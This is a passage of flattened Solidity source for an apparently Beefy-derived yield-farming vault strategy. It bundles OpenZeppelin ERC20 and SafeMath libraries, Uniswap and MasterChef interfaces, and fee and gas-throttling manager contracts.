onlyManager { _pause(); _removeAllowances(); } function unpause() external onlyManager { _unpause(); _giveAllowances(); deposit(); } function _giveAllowances() internal { IERC20(want).safeApprove(chef, uint256(-1)); IERC20(output).safeApprove(unirouter, uint256(-1)); IERC20(lpToken0).safeApprove(unirouter, 0); IERC20(lpToken0).safeApprove(unirouter, uint256(-1)); IERC20(lpToken1).safeApprove(unirouter, 0); IERC20(lpToken1).safeApprove(unirouter, uint256(-1)); } function _removeAllowances() internal { IERC20(want).safeApprove(chef, 0); IERC20(output).safeApprove(unirouter, 0); IERC20(lpToken0).safeApprove(unirouter, 0); IERC20(lpToken1).safeApprove(unirouter, 0); } function outputToNative() external view returns (address[] memory) { return outputToNativeRoute; } function outputToLp0() external view returns (address[] memory) { return outputToLp0Route; } function outputToLp1() external view returns (address[] memory) { return outputToLp1Route; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.9.0; interface IUniswapRouterETH { function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface IUniswapV2Pair { function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function burn(address to) external returns (uint amount0, uint amount1); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface IMasterChef { function deposit(uint256 _pid, uint256 _amount) external; function withdraw(uint256 _pid, uint256 _amount) external; function enterStaking(uint256 _amount) external; function leaveStaking(uint256 _amount) external; function userInfo(uint256 _pid, address _user) external view returns (uint256, uint256); function emergencyWithdraw(uint256 _pid) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Pausable.sol"; contract StratManager is Ownable, Pausable { /** * @dev Beefy Contracts: * {keeper} - Address to manage a few lower risk features of the strat * {strategist} - Address of the strategy author/deployer where strategist fee will go. * {vault} - Address of the vault that controls the strategy's funds. * {unirouter} - Address of exchange to execute swaps. */ address public keeper; address public strategist; address public unirouter; address public vault; address public liquidCFeeRecipient; /** * @dev Initializes the base strategy. * @param _keeper address to use as alternative owner. * @param _strategist address where strategist fees go. * @param _unirouter router to use for swaps * @param _vault address of parent vault. * @param _liquidCFeeRecipient address where to send Beefy's fees. */ constructor( address _keeper, address _strategist, address _unirouter, address _vault, address _liquidCFeeRecipient ) public { keeper = _keeper; strategist = _strategist; unirouter = _unirouter; vault = _vault; liquidCFeeRecipient = _liquidCFeeRecipient; } // checks that caller is either owner or keeper. modifier onlyManager() { require(msg.sender == owner() || msg.sender == keeper, "!manager"); _; } /** * @dev Updates address of the strat keeper. * @param _keeper new keeper address. */ function setKeeper(address _keeper) external onlyManager { keeper = _keeper; } /** * @dev Updates address where strategist fee earnings will go. * @param _strategist new strategist address. */ function setStrategist(address _strategist) external { require(msg.sender == strategist, "!strategist"); strategist = _strategist; } /** * @dev Updates router that will be used for swaps. * @param _unirouter new unirouter address. */ function setUnirouter(address _unirouter) external onlyOwner { unirouter = _unirouter; } /** * @dev Updates parent vault. * @param _vault new vault address. */ function setVault(address _vault) external onlyOwner { vault = _vault; } /** * @dev Updates beefy fee recipient. * @param _liquidCFeeRecipient new beefy fee recipient address. */ function setliquidCFeeRecipient(address _liquidCFeeRecipient) external onlyOwner { liquidCFeeRecipient = _liquidCFeeRecipient; } /** * @dev Function to synchronize balances before new user deposit. * Can be overridden in the strategy. */ function beforeDeposit() external virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import "./StratManager.sol"; abstract contract FeeManager is StratManager { uint constant public STRATEGIST_FEE = 112; uint constant public MAX_FEE = 1000; uint constant public MAX_CALL_FEE = 111; uint constant public WITHDRAWAL_FEE_CAP = 50; uint constant public WITHDRAWAL_MAX = 10000; uint public withdrawalFee = 10; uint public callFee = 111; uint public liquidCFee = MAX_FEE - STRATEGIST_FEE - callFee; function setCallFee(uint256 _fee) public onlyManager { require(_fee <= MAX_CALL_FEE, "!cap"); callFee = _fee; liquidCFee = MAX_FEE - STRATEGIST_FEE - callFee; } function setWithdrawalFee(uint256 _fee) public onlyManager { require(_fee <= WITHDRAWAL_FEE_CAP, "!cap"); withdrawalFee = _fee; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; library StringUtils { function concat(string memory a, string memory b) internal pure returns (string memory) { return string(abi.encodePacked(a, b)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import "@openzeppelin/contracts/utils/Address.sol"; import "./IGasPrice.sol"; contract GasThrottler { bool public shouldGasThrottle = true; address public gasprice = address(0xA43509661141F254F54D9A326E8Ec851A0b95307); modifier gasThrottle() { if (shouldGasThrottle && Address.isContract(gasprice)) { require(tx.gasprice <= IGasPrice(gasprice).maxGasPrice(), "gas is too high!"); } _; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; interface IGasPrice { function maxGasPrice() external returns (uint); }
